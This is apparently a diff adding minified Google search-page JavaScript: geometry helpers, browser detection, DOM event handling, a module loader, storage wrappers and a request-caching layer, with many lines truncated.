+_.F=_.qc.prototype;_.F.KC=_.m;_.F.oF=_.m;_.F.HJ=_.m;_.F.JV=_.m;_.F.iM=_.m;_.F.oz=0;_.F.cancel=function(a){if(this.KC)this.D instanceof _.qc&&this.D.cancel();else{if(this.B){var b=this.B;delete this.B;a?b.cancel(a):(b.oz--,0>=b.oz&&b.cancel())}this.N?this.N.call(this.M,this):this.iM=_.j;this.KC||(a=new _.xc(this),(0,_.tc)(this),(0,_.rc)(this,_.m,a))}};_.F.lO=function(a,b){this.HJ=_.m;(0,_.rc)(this,a,b)};_.F.Hx=function(a){(0,_.tc)(this);(0,_.rc)(this,_.j,a)};(0,_.ab)(_.uc,_.bb); _.uc.prot [...]
+_.zi=(0,_.yc)(_.j);_.Kaa=(0,_.yc)(_.l);(0,_.ab)(_.zc,_.mc);_.zc.prototype.initialize=(0,_.ea)();_.Ac.prototype.execute=function(a){this.B&&(this.B.call(this.D||_.l,a),this.B=this.D=_.l)};_.Ac.prototype.abort=function(){this.D=this.B=_.l};(0,_.ab)(_.Bc,_.mc);_.F=_.Bc.prototype;_.F.lZ=_.zc;_.F.eD=_.l;_.F.getId=(0,_.ga)("zn");_.F.qI=function(a,b){var c=new _.Ac(a,b);this.D.push(c);return c};_.F.JL=function(a){var b=new this.lZ;b.initialize(a());this.eD=b;b=(b=!!(0,_.Cc)(this,this.H,a()))||! [...]
+(0,_.ab)(_.Dc,_.mc);(0,_.la)(_.Dc);_.F=_.Dc.prototype;_.F.FJ=_.m;_.F.tL=_.l;_.F.CG=0;_.F.pQ=_.m;_.F.uS=_.m;_.F.HQ=_.l;_.F.H0=function(a,b){if((0,_.ua)(a)){for(var c=a.split("/"),d=[],e=0;e<c.length;e++){var f=c[e].split(":"),g=f[0];if(f[1])for(var f=f[1].split(","),h=0;h<f.length;h++)f[h]=d[(0,window.parseInt)(f[h],36)];else f=[];d.push(g);this.Ay[g]=new _.Bc(f,g)}b&&(0,_.Gb)(this.D,b);this.N==this.S&&(this.N=_.l,this.S.JL((0,_.Xa)(this.ZO,this))&&(0,_.Nc)(this,4))}};_.F.ZO=(0,_.ga)("HQ");
+_.F.isActive=function(){return 0<this.D.length};_.F.load=function(a,b){return(0,_.Gc)(this,[a],b)[a]};_.F.lY=function(a){this.CG++;401==a?((0,_.Nc)(this,0),this.B.length=0):410==a?((0,_.Rc)(this,3),(0,_.Oc)(this)):3<=this.CG?((0,_.Rc)(this,1),(0,_.Oc)(this)):(0,_.Jc)(this,this.H,_.j,8001==a)};_.F.mY=function(){(0,_.Rc)(this,2);(0,_.Oc)(this)};_.F.qI=function(a,b){(0,_.oa)(a)||(a=[a]);for(var c=0;c<a.length;c++){var d=a[c],e=b,f=this.X;f[d]||(f[d]=[]);f[d].push(e)}}; _.F.Cf=function(){_.D [...]
+_.F=_.Vc.prototype;_.F.clone=function(){return new _.Vc(this.x,this.y)};_.F.ceil=function(){this.x=window.Math.ceil(this.x);this.y=window.Math.ceil(this.y);return this};_.F.floor=function(){this.x=window.Math.floor(this.x);this.y=window.Math.floor(this.y);return this};_.F.round=function(){this.x=window.Math.round(this.x);this.y=window.Math.round(this.y);return this};_.F.translate=function(a,b){a instanceof _.Vc?(this.x+=a.x,this.y+=a.y):(this.x+=a,(0,_.va)(b)&&(this.y+=b));return this}; [...]
+_.F=_.Wc.prototype;_.F.clone=function(){return new _.Wc(this.width,this.height)};_.F.isEmpty=function(){return!(this.width*this.height)};_.F.ceil=function(){this.width=window.Math.ceil(this.width);this.height=window.Math.ceil(this.height);return this};_.F.floor=function(){this.width=window.Math.floor(this.width);this.height=window.Math.floor(this.height);return this};_.F.round=function(){this.width=window.Math.round(this.width);this.height=window.Math.round(this.height);return this}; _.F [...]
+_.jaa=!_.lc||(0,_.kc)(9);_.kaa=!_.he&&!_.lc||_.lc&&(0,_.kc)(9)||_.he&&(0,_.hc)("1.9.1");_.Td=_.lc&&!(0,_.hc)("9");_.laa=_.lc||_.ie||_.sd;_.ld={cellpadding:"cellPadding",cellspacing:"cellSpacing",colspan:"colSpan",frameborder:"frameBorder",height:"height",maxlength:"maxLength",role:"role",rowspan:"rowSpan",type:"type",usemap:"useMap",valign:"vAlign",width:"width"};_.maa={SCRIPT:1,STYLE:1,HEAD:1,IFRAME:1,OBJECT:1};_.Vd={IMG:" ",BR:"\n"};_.F=_.dd.prototype;_.F.Aa=function(a){return(0,_.ua)( [...]
+_.F=_.ce.prototype;_.F.clone=function(){return new _.ce(this.top,this.right,this.bottom,this.left)};_.F.contains=function(a){return!this||!a?_.m:a instanceof _.ce?a.left>=this.left&&a.right<=this.right&&a.top>=this.top&&a.bottom<=this.bottom:a.x>=this.left&&a.x<=this.right&&a.y>=this.top&&a.y<=this.bottom};_.F.expand=function(a,b,c,d){(0,_.Oa)(a)?(this.top-=a.top,this.right+=a.right,this.bottom+=a.bottom,this.left-=a.left):(this.top-=a,this.right+=b,this.bottom+=c,this.left-=d);return this};
+_.F.ceil=function(){this.top=window.Math.ceil(this.top);this.right=window.Math.ceil(this.right);this.bottom=window.Math.ceil(this.bottom);this.left=window.Math.ceil(this.left);return this};_.F.floor=function(){this.top=window.Math.floor(this.top);this.right=window.Math.floor(this.right);this.bottom=window.Math.floor(this.bottom);this.left=window.Math.floor(this.left);return this};
+_.F.round=function(){this.top=window.Math.round(this.top);this.right=window.Math.round(this.right);this.bottom=window.Math.round(this.bottom);this.left=window.Math.round(this.left);return this};_.F.translate=function(a,b){a instanceof _.Vc?(this.left+=a.x,this.right+=a.x,this.top+=a.y,this.bottom+=a.y):(this.left+=a,this.right+=a,(0,_.va)(b)&&(this.top+=b,this.bottom+=b));return this};_.F.scale=function(a,b){var c=(0,_.va)(b)?b:a;this.left*=a;this.right*=a;this.top*=c;this.bottom*=c;retu [...]
+_.F=_.de.prototype;_.F.clone=function(){return new _.de(this.left,this.top,this.width,this.height)};_.F.contains=function(a){return a instanceof _.de?this.left<=a.left&&this.left+this.width>=a.left+a.width&&this.top<=a.top&&this.top+this.height>=a.top+a.height:a.x>=this.left&&a.x<=this.left+this.width&&a.y>=this.top&&a.y<=this.top+this.height};
+_.F.ceil=function(){this.left=window.Math.ceil(this.left);this.top=window.Math.ceil(this.top);this.width=window.Math.ceil(this.width);this.height=window.Math.ceil(this.height);return this};_.F.floor=function(){this.left=window.Math.floor(this.left);this.top=window.Math.floor(this.top);this.width=window.Math.floor(this.width);this.height=window.Math.floor(this.height);return this};
+_.F.round=function(){this.left=window.Math.round(this.left);this.top=window.Math.round(this.top);this.width=window.Math.round(this.width);this.height=window.Math.round(this.height);return this};_.F.translate=function(a,b){a instanceof _.Vc?(this.left+=a.x,this.top+=a.y):(this.left+=a,(0,_.va)(b)&&(this.top+=b));return this};_.F.scale=function(a,b){var c=(0,_.va)(b)?b:a;this.left*=a;this.width*=a;this.top*=c;this.height*=c;return this};
+_.Ie=_.he?"MozUserSelect":_.sd?"WebkitUserSelect":_.l;_.Pe={He:_.m,Fz:_.m,Lt:_.m,opera:_.m};_.Qe={He:_.m,qy:_.m,FB:_.m,vx:_.m,wy:_.m,qz:_.m,OE:_.m,TA:_.m,kx:_.m,Fx:_.m,opera:_.m,wF:_.m};_.Xe=_.l;_.Se="";_.Re="";(0,_.ha)("google.browser.init",_.Oe,_.ba);(0,_.ha)("google.browser.compareVersions",_.Te,_.ba);(0,_.ha)("google.browser.isEngineVersion",_.Ue,_.ba);(0,_.ha)("google.browser.isProductVersion",_.Ve,_.ba);(0,_.ha)("google.browser.getBrowserDimension",_.We,_.ba); (0,_.ha)("google.brow [...]
+_.$e=/^(\w+)?(?:\.(.+))?$/;_.naa=/^#([\w-]+)$/;(0,_.ha)("google.dom.append",_.Ye,_.ba);(0,_.ha)("google.dom.get",_.bf,_.ba);(0,_.ha)("google.dom.getAll",_.af,_.ba);(0,_.ha)("google.dom.set",_.cf,_.ba);_.of=0;_.oaa=0;_.nf=[];_.Ai=_.tf;_.vf={};(0,_.ha)("google.msg.listen",_.uf,_.ba);(0,_.ha)("google.msg.unlisten",_.wf,_.ba);(0,_.ha)("google.msg.send",_.xf,_.ba);_.raa=window.location.protocol+"//"+window.location.host;(0,_.ha)("google.nav.getLocation",_.Bf,_.ba);(0,_.ha)("google.nav.getPara [...]
+(0,_.ha)("google.style.getComputedStyle",_.Lf,_.ba);(0,_.ha)("google.style.getHeight",_.Mf,_.ba);(0,_.ha)("google.style.getWidth",_.Nf,_.ba);(0,_.ha)("google.style.getPageOffsetTop",_.xe,_.ba);(0,_.ha)("google.style.getPageOffsetLeft",_.we,_.ba);(0,_.ha)("google.style.getPageOffsetStart",_.Of,_.ba);(0,_.ha)("google.style.hasClass",_.If,_.ba);(0,_.ha)("google.style.isRtl",_.Kf,_.ba);(0,_.ha)("google.style.addClass",_.Ff,_.ba);(0,_.ha)("google.style.removeClass",_.Gf,_.ba);
+_.saa=/_\/js\/([^/]+)/;_.taa=/\/externjs\/([^/]+)/;_.Pf.prototype.X=function(a){if(a===_.l)window.google.ml((0,window.Error)("LM null"),_.m);else{var b=this.D?"/am="+this.D:"",c=this.H?"/rs="+this.H:"";a=this.N+(this.B?"_/js/":"")+this.ka+"/"+a.join(",")+"/rt=j/ver="+this.S+b+"/d=0/sv="+this.M+c;b=window.document.createElement("script");b.src=a;(0,_.Ye)(b)}};_.Rf=_.m;(0,_.ha)("google.load",_.Sf,_.ba);(0,_.ha)("google.loadAll",function(a){var b=(0,_.Qf)();(0,_.Gc)(b,a,_.ba)},_.ba);
+_.Vf=_.j;_.Wf=_.Pe.He&&0>(0,_.Te)(_.Se,"9");_.F=_.Zf.prototype;_.F.dispose=(0,_.ea)();_.F.mD=_.m;_.F.wI=_.j;_.F.stopPropagation=function(){this.mD=_.j};_.F.preventDefault=function(){this.wI=_.m};_.ag[" "]=_.ka;_.uaa=!_.lc||(0,_.kc)(9);_.hg=!_.lc||(0,_.kc)(9);_.Maa=_.lc&&!(0,_.hc)("9");!_.sd||(0,_.hc)("528");_.he&&(0,_.hc)("1.9b")||_.lc&&(0,_.hc)("8")||_.ie&&(0,_.hc)("9.5")||_.sd&&(0,_.hc)("528");_.he&&!(0,_.hc)("8")||_.lc&&(0,_.hc)("9");_.Naa=_.lc?"focusout":"DOMFocusOut";(0,_.ab)(_.bg,_ [...]
+_.F.init=function(a,b){var c=this.type=a.type;_.Zf.call(this,c);this.target=a.target||a.srcElement;this.currentTarget=b;var d=a.relatedTarget;if(d){if(_.he){var e;a:{try{(0,_.ag)(d.nodeName);e=_.j;break a}catch(f){}e=_.m}e||(d=_.l)}}else"mouseover"==c?d=a.fromElement:"mouseout"==c&&(d=a.toElement);this.relatedTarget=d;this.eP=_.sd||a.offsetX!==_.ba?a.offsetX:a.layerX;this.fP=_.sd||a.offsetY!==_.ba?a.offsetY:a.layerY;this.clientX=a.clientX!==_.ba?a.clientX:a.pageX;this.clientY=a.clientY!= [...]
+a.pageY;this.screenX=a.screenX||0;this.screenY=a.screenY||0;this.button=a.button;this.keyCode=a.keyCode||0;this.ctrlKey=a.ctrlKey;this.altKey=a.altKey;this.shiftKey=a.shiftKey;this.metaKey=a.metaKey;this.mI=_.pe?a.metaKey:a.ctrlKey;this.state=a.state;this.zw=a;a.defaultPrevented&&this.preventDefault();delete this.mD};_.F.stopPropagation=function(){_.bg.Sa.stopPropagation.call(this);this.zw.stopPropagation?this.zw.stopPropagation():this.zw.cancelBubble=_.j}; _.F.preventDefault=function(){ [...]
+_.Oaa=0;_.F=_.dg.prototype;_.F.key=0;_.F.nC=_.m;_.F.AG=_.m;_.F.init=function(a,b,c,d,e,f){(0,_.Ja)(a)?this.D=_.j:a&&a.handleEvent&&(0,_.Ja)(a.handleEvent)?this.D=_.m:(0,_.aa)((0,window.Error)("Invalid listener argument"));this.ez=a;this.B=b;this.src=c;this.type=d;this.capture=!!e;this.dC=f;this.AG=_.m;this.key=++_.Oaa;this.nC=_.m};_.F.handleEvent=function(a){return this.D?this.ez.call(this.dC||this.src,a):this.ez.handleEvent.call(this.ez,a)};
+_.kg={};_.gg={};_.ig={};_.jg={};(0,_.ab)(_.vg,_.mc);_.F=_.vg.prototype;_.F.sO=_.j;_.F.kI=_.l;_.F.EI=(0,_.fa)("kI");_.F.addEventListener=function(a,b,c,d){(0,_.eg)(this,a,b,c,d)};_.F.removeEventListener=function(a,b,c,d){(0,_.mg)(this,a,b,c,d)};
+_.F.dispatchEvent=function(a){var b=a.type||a,c=_.gg;if(b in c){if((0,_.ua)(a))a=new _.Zf(a,this);else if(a instanceof _.Zf)a.target=a.target||this;else{var d=a;a=new _.Zf(b,this);(0,_.Wb)(a,d)}var d=1,e,c=c[b],b=_.j in c,f;if(b){e=[];for(f=this;f;f=f.kI)e.push(f);f=c[_.j];f.gz=f.Sp;for(var g=e.length-1;!a.mD&&0<=g&&f.gz;g--)a.currentTarget=e[g],d&=(0,_.tg)(f,e[g],a.type,_.j,a)&&a.wI!=_.m}if(_.m in c)if(f=c[_.m],f.gz=f.Sp,b)for(g=0;!a.mD&&g<e.length&&f.gz;g++)a.currentTarget=e[g],d&=(0,_ [...]
+(0,_.ab)(_.yg,_.vg);_.Ag=[];_.Dg=new _.vg;_.xaa=/[~.,?&-]/g;_.F=_.yg.prototype;_.F.getTick=function(a){return"start"==a?this.N:this.S[a]};_.F.C=(0,_.ga)("X");_.F.tick=function(a,b){(0,_.Eg)(this);b=b||{};a in this.S&&((0,_.Eg)(this),this.M.dup=a.toString().replace(/[:;,\s]/g,"_"));var c=b.time||(0,_.zg)();!b.qW&&(!b.H4&&c>this.ra)&&(this.ra=c);for(var d=c-this.N,e=this.H.length;0<e&&this.H[e-1][1]>d;)e--;(0,_.Hb)(this.H,e,0,[a,d,b.qW]);this.S[a]=c};_.F.timers=(0,_.ga)("H");
+_.F.WB=function(a,b){var c=new _.Cg("error",this);c.error=a;b&&(c.B=b);_.Dg.dispatchEvent(c)};
+_.F.action=function(a){(0,_.Eg)(this);var b=[],c=_.l,d=_.l,e=_.l,f=_.l,g=_.ia.document;if(g)for(;a&&a!=g.body;a=a.parentNode){var h=a,i=_.ba;!h.__oi&&h.getAttribute&&(h.__oi=h.getAttribute("oi"));if(i=h.__oi)b.unshift(i),c||(c=h.getAttribute("jsinstance"));if(!e&&(!d||"1"==d))e=h.getAttribute("ved");d||(d=h.getAttribute("jstrack"));f||(f=h.getAttribute("jstrackrate"))}d&&(this.B.ct=this.X,0<b.length&&(b=b.join("."),(0,_.Eg)(this),this.M.oi=b.toString().replace(/[:;,\s]/g,"_")),c&&(c="*"= [...]
+(0,window.parseInt)(c.substr(1),10):(0,window.parseInt)(c,10),this.B.cd=c),"1"!=d&&(this.B.ei=d),e&&(this.B.ved=e))};_.F.Hx=function(a,b,c,d){this.D&&this.WB("branch",b);c&&this.tick(c,_.ba);this.oz[b]?this.oz[b]++:this.oz[b]=1;var e=this;return function(){var c=a.apply(this,arguments);(0,_.Bg)(e,b,d);return c}};_.F.event=(0,_.ga)("ka");_.F.value=function(a){var b=this.AL;return b?b[a]:_.ba};(0,_.ab)(_.Cg,_.Zf);
+_.Fg.prototype.H=function(a){if((0,_.oa)(a))this.At=(0,_.Fb)(a),(0,_.Gg)(this);else{var b=a.action,c=this.EE[b];c?(a=this.M(a),c(a),(0,_.Bg)(a,"main-actionflow-branch")):(c=(0,_.xg)(a.event),a.event=c,this.At.push(a),a=b.split(".")[0],(b=this.N[a])?b.NV||(b.K4(this,a),b.NV=_.j):this.B&&!(a in this.D)&&(this.D[a]=_.j,this.B(this,a)))}};
+_.Jg=new _.Fg;_.Mg={};_.Ig={};_.Wg={'"':'\\"',"\\":"\\\\","/":"\\/","\b":"\\b","\f":"\\f","\n":"\\n","\r":"\\r","\t":"\\t","\x0B":"\\u000b"};_.Faa=/\uffff/.test("\uffff")?/[\\\"\x00-\x1f\x7f-\uffff]/g:/[\\\"\x00-\x1f\x7f-\xff]/g;(0,_.ab)(_.Yg,_.Xg);_.Yg.prototype.CA=function(){var a=0;(0,_.Ob)(this.SA(_.j),function(){a++});return a};_.Yg.prototype.clear=function(){var a;a=this.SA(_.j);if((0,_.pa)(a))a=(0,_.Fb)(a);else{a=(0,_.Mb)(a);var b=[];(0,_.Ob)(a,function(a){b.push(a)});a=b}var c=th [...]
+(0,_.ab)(_.Zg,_.Yg);_.F=_.Zg.prototype;_.F.set=function(a,b){try{this.B.setItem(a,b)}catch(c){0==this.B.length&&(0,_.aa)("Storage mechanism: Storage disabled"),(0,_.aa)("Storage mechanism: Quota exceeded")}};_.F.get=function(a){a=this.B.getItem(a);!(0,_.ua)(a)&&a!==_.l&&(0,_.aa)("Storage mechanism: Invalid value was encountered");return a};_.F.remove=function(a){this.B.removeItem(a)};_.F.CA=function(){return this.B.length};
+_.F.SA=function(a){var b=0,c=this.B,d=new _.Lb;d.B=function(){b>=c.length&&(0,_.aa)(_.Nb);var d;d=c.key(b++);if(a)return d;d=c.getItem(d);(0,_.ua)(d)||(0,_.aa)("Storage mechanism: Invalid value was encountered");return d};return d};_.F.clear=function(){this.B.clear()};_.F.key=function(a){return this.B.key(a)};
+(0,_.ab)(_.$g,_.Zg);_.ch={};_.bh=[];_.dh=_.m;(0,_.ha)("google.initHistory",function(){_.Di=window.google.kEI;_.lh=new _.$g;(0,_.jh)();var a=_.kh[_.Di];a&&(window.google.pmc=a)},_.ba);(0,_.ha)("google.med",_.gh,_.ba);(0,_.ha)("google.register",_.ah,_.ba);_.mh.prototype.H=_.l;_.mh.prototype.D=function(){var a;if(!(a=this.H))a={},(0,_.qh)(this)&&(a[0]=_.j,a[1]=_.j),a=this.H=a;return a};(0,_.ab)(_.nh,_.mh);_.nh.prototype.B=function(){return this.N()};_.nh.prototype.D=function(){return this.M [...]
+(0,_.ha)("google.exportSymbol",function(a,b,c){(0,_.ha)(a,b,c)},_.ba);(0,_.ha)("google.xhr",_.oh,_.ba);(0,_.ha)("google.jsa.adc",function(a,b,c){_.Ig[a]=_.Ig[a]||[];(0,_.Og)(a,b)||_.Ig[a].push({Hx:b,D0:!!c})},_.ba);(0,_.ha)("google.jsa.rdc",function(a,b){(0,_.Og)(a,b)&&(0,_.zb)(_.Ig[a],(0,_.Og)(a,b))},_.ba);(0,_.ha)("google.fx.animate",_.lf,_.ba);(0,_.fh)("anim",{dispose:function(){window.clearInterval(_.of);_.of=0;_.nf=[]}});(0,_.fh)("nos",{init:function(){(0,_.Kg)("nos",{d:_.Gaa})}});
+(0,_.fh)("jsa",{init:function(){_.Jg.FO=_.zaa;(0,_.Gg)(_.Jg);_.Jg.B=_.Baa;window.google.jsad&&window.google.jsad((0,_.Xa)(_.Jg.H,_.Jg));(0,_.Kg)("jsa",{go:_.Daa,popup:_.Eaa,"true":_.zi});(0,_.Kg)("lr",{smt:function(a,b){var c=(0,window.Boolean)((0,window.Number)(b.se)),d=(0,_.qb)(b.fs)||200,e=b.tag||"",f=(0,_.qb)(b.ss)||200,g=b.e;b.h?(0,_.De)(a,_.m):g&&window.google.mobile_live_result.expand(a);(0,_.Uf)(a,c,d,e,f)},ddu:function(a,b){(0,_.Tf)(a,b.tag,(0,_.qb)(b.idx))},wobt:function(a,b){w [...]
+(0,_.Kg)("spl",{cc:_.Caa});(0,_.Kg)("ppl",{pv:function(a,b){var c=b.se,d=b.ee,e=a.firstChild,f=e.lastChild,g=(0,_.Nf)(e)/2;e.style[c]=-g+2+"px";f.style[d]=g+1+"px"}});(0,_.Kg)("st",{mb:function(a){window.google.movies&&window.google.movies.MovieBlur(a)},mf:function(a){window.google.movies&&window.google.movies.MovieFocus(a)},ms:function(){window.google.movies&&window.google.movies.Submit()},sm:function(a){(0,_.Uf)(a,_.m,200,"showtimes",200)},sv:function(a,b){(0,_.Tf)(a,"showtimes",(0,_.q [...]
+(0,_.ha)("google.listen",_.rh,_.ba);(0,_.ha)("google.unlisten",_.sh,_.ba);_.vh.prototype.initialize=function(){this.B=[];this.D=""};_.Eh=[];_.Fh=_.m;(0,_.ha)("google.ori.addListener",_.Dh,_.ba);_.Ph={};_.Lh="& & < < > > \" " ' ' { {".split(" ");(0,_.ha)("google.util.arrayIndexOf",_.xb,_.ba);(0,_.ha)("google.util.escape",_.Kh,_.ba);(0,_.ha)("google.util.logVisibilityChange",_.Rh,_.ba);(0,_.ha)("google.util.stopPropagation",_.Nh,_.ba);(0,_.ha)("google.util.togglePop [...]
+(0,_.ha)("google.srp.qs",_.Wh,_.ba);_.Zh=[];_.di="/";_.Ei=[];(0,_.ha)("google.History.addPostInitCallback",function(a){_.Ei.push(a)},_.ba);(0,_.ha)("google.History.client",_.Yh,_.ba);(0,_.ha)("google.History.initialize",function(a){_.di=a;_.bi=_.l;if(_.ai=(0,_.T)("hcache")){(0,_.$h)();for(a=0;a<_.Zh.length;++a)_.bi&&(_.bi[_.di]&&_.bi[_.di][a])&&_.Zh[a].call(_.l,_.bi[_.di][a]);a=0;for(var b;b=_.Ei[a++];)b();_.Ei=[]}},_.ba);(0,_.ha)("google.History.save",_.ci,_.ba);
+
+_._ModuleManager_initialize=(0,_.Xa)(_.Dc.prototype.H0,_.Dc.I());
+(0,_._ModuleManager_initialize)("sy0/bct:0/sy1/sy2:2/cr:2,3/cdos/sy4/sy3:6/c:6,7/cb/sy5/csi:a/sy6/sy7:c/dbm:c,d/el/sy8/gf:g/sy9/ctm:i/sy10/gsac:k/sy12/sy13/sy11:m,n/sy14/sy19/sy20:q/sy21:r/sy16:i/sy17/sy18:i,u/sy15:6,i,p,q,s,t,v/sy23/sy24/sy25:6,x,y/gsai:6,i,k,m,n,o,p,q,r,s,t,u,v,w,x,y,z/hsm:p/sy26/sy27:12/hv:12,13/riu/sy28/sy30/sy29:16,17,2,6,a,p,z/j:16,17,18,2,6,a,p,x,y,z/kx/sy32/lc:1b,6/sy33/hov:1d/mb:6/oh/sy34/sy35:1h/sy36/abd:1h,1i,1j,6,y/ablk:16,6/sy37/sy38:1m/sy39:y/sy41/sy40:1n,1 [...]
+
+}catch(e){_._DumpException(e)}
+try{
+_.aj=function(a,b,c){a=a.S(b,c);return!a?_.l:new _.rf(a)};_.bj=function(a){switch(a){case 200:case 201:case 202:case 204:case 206:case 304:case 1223:return _.j;default:return _.m}};(0,_.Pc)(_.Dc.I(),"sy4");_.cj=_.cj||{};_.dj=_.dj||{};
+(0,_.Mc)(_.Dc.I(),"sy4");(0,_.Qc)(_.Dc.I(),"sy4");
+}catch(e){_._DumpException(e)}
+try{
+(0,_.Pc)(_.Dc.I(),"sy3");
+(0,_.Mc)(_.Dc.I(),"sy3");(0,_.Qc)(_.Dc.I(),"sy3");
+}catch(e){_._DumpException(e)}
+try{
+_.ej=function(a,b){function c(){return a==_.j}var d={gU:_.j,GM:_.m},e=b||window.google.time(),f=d.gU,g,h,i,n,p=_.j,k,q,v,r;return{qV:function(a,b,e,q,v){i||(i=[],n={},p=_.j,k=a);if(v){var r=n,x;for(x in v)r[x]=v[x]}b&&c()&&i.push({data:b,url:a});e&&(f=d.GM);g=window.google.time();h=q},QO:function(){return n?n:{}},eK:function(){return i?i.length:0},Eh:function(){return q},TO:function(a){return i?i[a].data:_.l},WO:function(){return r},YE:function(){return f==d.GM},lK:c,cX:function(){return [...]
+kX:function(a){return a&&i&&i.length>a&&i[a].url?i[a].url:k},ZG:function(){return v},refresh:function(){var a=window.google.time();g+1E3*h<a&&(i=[],p=_.m)},JR:function(a){q=a},J0:function(a){r=a},RR:function(a){v=a},M0:function(a){h=a}}};_.fj=function(a,b){return{wr:_.gj.PB,cL:b,EL:a||1}};_.hj=function(a,b,c){return{wr:_.gj.zC,BC:!!a,dD:b||5,ZC:!!c}};_.ij=function(a,b,c){return{wr:_.gj.zE,BC:!!a,dD:b||5,ZC:!!c}};_.jj=function(a,b,c){return{wr:_.gj.ED,BC:!!a,dD:b||5,ZC:!!c}};
+_.kj=function(a,b,c,d){if(b==_.gj.PB||b==_.gj.zC){b=_.lj[b];for(var e in b)b[e].GF(a,c,d)}};_.mj=function(a){switch(a){case _.gj.PB:case _.gj.zC:case _.gj.zE:return _.j;case _.gj.ED:return!_.Pe.He||_.Pe.He&&(0,_.Ve)("10");case _.gj.HD:return!_.Pe.He}return _.m};_.nj=function(a,b){var c=_.oj[a];if(c){var d=b.ZG();delete c.KF[d];delete c.vI[b.WO()]}};_.pj=function(){function a(a){for(var b in a)(0,_.qj)(a[b])||delete a[b]}for(var b in _.oj){var c=(0,_.rj)(b);a(c.KF);a(c.vI);a(c.pD)}};
+_.rj=function(a){var b=_.oj[a];b||(b=_.oj[a]={KF:{},vI:{},pD:{}});return b};_.qj=function(a){return a&&(a.refresh(),a.cX())?a:_.l};_.sj={w4:0,ED:1,zE:2,PB:3,zC:4,HD:5};_.tj={AM:_.j,FM:_.m};_.Uaa={QM:0,ERROR:1,tT:2};_.Vaa=/[&\?]ech=([0-9]+)/;_.Waa=/[\?&#](tch|ech|psi|wrapid)=[^&]*/g;(0,_.Pc)(_.Dc.I(),"c");
+_.gj=_.sj;_.xj=[];_.lj={};_.Xaa=0;_.lj[_.gj.PB]={};_.lj[_.gj.zC]={};_.oj={};window.setInterval(_.pj,9E4);
+_.yj={pV:function(a,b,c,d){a=(0,_.rj)(a);c&&(a.KF[c]=d,d.RR(c));b&&d.lK()&&(a.pD[b]=d,d.JR(b))},KN:function(a,b,c,d){a=(0,_.rj)(a);c&&(a.vI[c]=d,d.J0(c));b&&d.lK()&&(a.pD[b]=d,d.JR(b));b=d.ZG();delete a.KF[b]},WW:function(a,b,c){return(a=_.oj[a])?(b=a.KF[b],c?b:(0,_.qj)(b)):_.l},VW:function(a,b,c){return(a=_.oj[a])?(b=a.vI[b],c?b:(0,_.qj)(b)):_.l},RO:function(a,b){var c=_.oj[a];return c?(0,_.qj)(c.pD[b]):_.l},cW:_.nj,clear:function(a){if(a)for(var b=0,c;c=a[b++];){if(c=_.oj[c])c.pD={}}el [...]
+_.oj[c])a.pD={}},abort:function(a,b){var c=_.oj[a];c&&((0,_.nj)(a,b),delete c.pD[b.Eh()])},B:_.pj};(0,_.ha)("google.td",_.kj,_.ba);_.zj={oX:function(){return _.Xaa++},g0:function(a){var b=_.lj[a.C()];b&&(b[a.getName()]=a)},SL:function(a){var b=_.lj[a.C()];b&&delete b[a.getName()]},XW:function(){return _.yj}};
+(0,_.ha)("google.comm",{a:_.fj,b:_.hj,c:_.ij,d:_.jj,e:function(a,b,c){return{wr:_.gj.HD,BC:!!a,dD:b||5,ZC:!!c}},g:function(a){function b(a){if(a&&a.source==window&&Ka.length&&("comm.df"==a.data||"comm.df.daisy"==a.data)){var c=window.google.time();do Ka.shift()();while(Ka.length&&20>window.google.time()-c);Ka.length&&"comm.df.daisy"==a.data&&window.setTimeout(function(){b(a)},0)}}function c(){Ka=[];window.postMessage&&(0,_.rh)(window,"message",b)}function d(a,b){for(var c=0,d;c<a.length; [...]
+b[c],0<d&&a[c]>d)return _.j;return _.m}function e(a,b,c,d){var e=Ua[a];if(!e){var s=e=f(),g=za[Ma];g&&delete Ua[g];Ua[a]=s;za[Ma]=a;Ma=(Ma+1)%10}b!=_.l&&e.Ky==_.l&&(e.Ky=b);c!=_.l&&(e.kz=c);d!=_.l&&(e.Dy+=d)}function f(){var a={Ky:_.l,kz:0,Dy:0,reset:function(){a.Ky=a.kz=a.Dy=0}};return a}function g(){Na.reset();La.reset();for(var a=0,b=0,c=0,d=0;d<za.length;++d){var e=Ua[za[d]],f=e.Ky||0,s=e.kz,e=e.Dy;0<f&&(Na.Ky+=f,a++);0<s&&(Na.kz+=s,b++);0<e&&(Na.Dy+=e,c++);La.Ky=window.Math.max(f,La [...]
+window.Math.max(s,La.kz);La.Dy=window.Math.max(e,La.Dy)}1<a&&(Na.Ky=(Na.Ky-La.Ky)/(a-1));1<b&&(Na.kz=(Na.kz-La.kz)/(b-1));1<c&&(Na.Dy=(Na.Dy-La.Dy)/(c-1))}function h(a){a=a.replace(/^http[s]?:\/\/[^\/]*/,"");var b=a.indexOf("?");return-1==b?a:a.substring(0,b)}function i(a){return a.substring(a.indexOf("?")+1).split("&").sort().join("&")}function n(a,b,c,d,e,f,g,q,k,h){var v=P[d]||P["_?"];if(!v||!v.length)s(y.ERROR,10,_.l,d);else{d=0;for(var p;p=v[d];++d)p.Jb(a,c,f,!b,g==Z.TM,e,q,k,h)}}fu [...]
+R?Q.C()==a:_.m}function k(a,b,c){return!a.lK()?function(){return b}:function(){var d=[];if(a)for(var e=a.eK(),e=c?window.Math.min(c,e):e,f=0;f<e;++f){var s=a.TO(f);s&&d.push(s)}return!d.length?b:d.join("")}}function q(a,b){for(var c=0,d;d=a[c];++c)if(d.Jb==b){a.splice(c,1);break}}function v(a,b,c){a.push({Jb:b,Kd:c||0});a.sort(function(a,b){return b.Kd-a.Kd})}function r(a){var b=(0,_.E)(_.l),c=(0,_.ea)(),d=(0,_.E)(_.m),e=function(a,b,c){for(var d=0,e;e=h[d++];)e.qF(a,b,c)},f=function(a,b [...]
+0;for(var f;f=h[c++];)f.handleError(a,b,d,e)},s=function(a,b,c){try{return _.Pe.He?(0,_.Qg)(a):(new window.Function("return "+a))()}catch(d){f(1,9,b,d,c)}return a},g={pB:_.j,lf:_.m},q=a.wr,k,h=[],v=1,p={qF:e,B:s,mR:function(a,b,c,d,f){a=a.split('/*""*/');f=f?0:-1;for(var g=b;g<a.length+f;++g)++b,a[g]&&e(s(a[g],c,d));return[b,0==a[a.length-1].length&&b==a.length]},Hf:function(a){return{wr:a}},handleError:f,xQ:function(a){window.google.log("omcr",a.toString())}};switch(q){case _.sj.PB:var [...]
